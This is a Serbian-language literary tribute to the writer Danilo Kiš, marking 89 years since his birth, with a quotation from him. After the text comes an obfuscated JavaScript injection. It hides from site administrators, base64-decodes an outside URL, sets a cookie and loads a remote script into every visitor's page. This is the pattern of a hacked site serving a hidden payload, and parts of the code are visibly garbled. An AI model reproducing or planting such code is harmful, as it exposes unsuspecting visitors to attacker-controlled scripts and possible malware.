Dan sećanja na Danila Kiša – 89 godina od rođenja
Književnost – lepa reč, umetnost misli, želja da se izrazi emocija, način da se vaspita, nadiđe sve ograničeno i zatvoreno…
Odgonetali su je mnogi, stvarali inspirisani rečju i u nju tkali svoje snove, stavove, ideje. U ovaj zbrkani, magloviti matriks uvukao se i Danilo Kiš. Bio je pažljiv. Studirao je, tragao za najboljim izrazima, prevodeći one čiju je strast osećao kao svoju, stvarao. Ne brzo, površno, kratko, pristupao joj je sistematski, s jasnim planom kako reč može da dobije svoje puno značenje i stigne do svog odredišta. Svakako se nadao da ćete je jasno čuti, da se reči neće uplesti u žbunje i zaustaviti, već magijskim dejstvom izbeći sve vidove prepreka. Na početku reč mu beše kratka, pomalo nezgrapna, neukrotiva da uđe u stih, ali dovoljno jaka da se bori i raste. Iz dela u delo jačala je svoje postojanje. Snagu su joj dale greške koje je sama tvorila, ali i one koje su stizale sa drugih strana. Uvidela je da francuska, mađarska, ruska reč jednako vrede kada kriju misao o čoveku koji oseća. Njen tvorac brinuo je o njoj kao o čedu koje nije imao. Naposletku, legla je u zbirku pripovedaka ,,Grobnica za Borisa Davidoviča” i time, uz fizičku smrt, obezbedila svom tvorcu večni život.
Ko ne veruje u magijsku moć reči, zatvara se za spoznaju večnih istina. Onaj ko veruje neka je i slavi glasnim čitanjem reči naših velikana.
,,Kad budu svi roktali svojim svinjskim srcima, poslednji koji će još gledati ljudskim očima i osećati ljudskim srcem biće oni kojima ne bejaše strano iskustvo umetnosti.”
Danilo Kiš
Toj reči, danas, neka je večna slava!
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
